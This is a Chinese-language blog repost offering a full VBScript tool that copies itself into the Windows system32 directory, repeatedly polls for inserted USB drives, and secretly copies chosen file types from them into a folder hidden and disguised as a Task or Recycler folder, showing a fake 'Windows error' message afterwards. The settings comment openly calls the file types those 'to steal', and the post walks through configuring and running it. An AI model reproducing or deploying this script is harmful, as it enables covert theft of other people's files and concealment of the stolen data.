VBS自动复制U盘文件(同步U盘文件)

自动复制U盘文件的VBS脚本

 更新时间:2009年12月24日 00:04:40   作者:  
 
运行该脚本后,文件会先拷贝到system32目录中然后运行,监控移动存储设备的插入,如果有U盘插入,会将你感兴趣的文件拷贝到电脑相应目录中。
以下为演示:

一、设置

右键单击,选择编辑
oStr = "txt|jpg|doc" '你要窃取的文件类型,可以自行添加,用“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存文件夹名称
oType = 0 '将保存的文件夹进行伪装 1为task文件夹,2为recycler文件夹,0为不伪装
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环

二、保存后运行

会出现安装成功对话框,如果不希望出现该对话框,可以将“Msgbox "安装成功"”注释掉。


此时脚本已经在循环监测U盘的插入

三、插入U盘

U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。
如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉

四、寻找文件

此时,文件已经在目标文件夹中。我将oType 设置为1,所以该文件夹成了task文件夹,此时双击打开是看不到其中的文件的。


这种情况可以通过rar压缩包浏览,将其中的desktop.ini文件删除,文件夹就会变成普通文件夹。


这时就能打开文件夹看到其中的内容。

Copy.log记录的是原文件及复制后的文件。

五、vbs代码如下

oStr = "txt|jpg|doc" '文件类型,添加文件类型用“|”隔开 
oDistPath = "C:\\windows\\system\\" '保存路径 
oFolderName = "Task" '保存文件夹名称 
oType = 1 '1为task文件夹,2为recycler文件夹,0为不隐藏 
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环 
'By:白开 QQ:343229025 
Set fso=CreateObject("scripting.filesystemobject") 
Set wshell=CreateObject("WScript.shell") 

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32 

'文件夹不存在则创建 
If (not fso.FolderExists(oDistPath & oFolderName)) Then 
fso.CreateFolder(oDistPath & oFolderName) 
End If 
'创建记录文件 
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True) 
'循环监测移动存储设备插入 
Do 
For Each oDriver In fso.Drives 
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then 
TreeIt(oDriver) 
Msgbox "Windows 错误",64 
If(oOut=1) then 
Exit Do 
End if 
End If 
Next 
WScript.Sleep 15000 
Loop 
Mylog.Close 

'隐藏文件夹 
oHideFolder oDistPath,oFolderName,oType 

else '如果是其它目录,先安装 
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True 
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs" 
Msgbox "安装成功" 
end if 

Set fso=nothing 
Set wshell=nothing 

'遍历目录函数 
Function TreeIt(sPath) 
Set oFolder = fso.GetFolder(sPath) 
Set oSubFolders = oFolder.Subfolders 

Set oFiles = oFolder.Files 
For Each oFile In oFiles 
oCopyFile oFile.Path,oDistPath,oFolderName 
Next 

For Each oSubFolder In oSubFolders 
TreeIt(oSubFolder.Path) 
Next 

Set oFolder = Nothing 
Set oSubFolders = Nothing 
End Function 

'复制文件函数 
Function oCopyFile(FileName,oDistPath,oFolderName) 
Ext = fso.GetExtensionName(FileName) 
If(instr(oStr,lcase(Ext))) then 
Randomize 
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext 
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true 
Mylog.writeline FileName 
Mylog.writeline tempname 
End If 
End Function 

'隐藏文件夹函数 
Sub oHideFolder(oDistPath,oFolderName,oType) 
Select Case oType 
case 1 
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) 
inf.writeline("[.ShellClassInfo]") 
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}") 
case 2 
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) 
inf.writeline("[.ShellClassInfo]") 
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}") 
case 0 
Exit sub 
End Select 
Set inf=nothing 

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName) 
SysoFolder.attributes=4 
Set SysoFolder=nothing 
End sub 

'By:白开 QQ:343229025
 
出处:https://www.jb51.net/article/21569.htm

您的资助是我最大的动力!
金额随意,欢迎来赏!
款后有任何问题请给我留言。

如果,您认为阅读这篇博客让您有些收获,不妨点击一下右下角的推荐按钮。
如果,您希望更容易地发现我的新博客,不妨点击一下绿色通道的关注我。(●'◡'●)

如果对你有所帮助,赞助一杯咖啡!打             付款后有任何问题请给我留言!!!

因为,我的写作热情也离不开您的肯定与支持,感谢您的阅读,我是【Jack_孟】!

原文地址:https://www.cnblogs.com/mq0036/p/15762222.html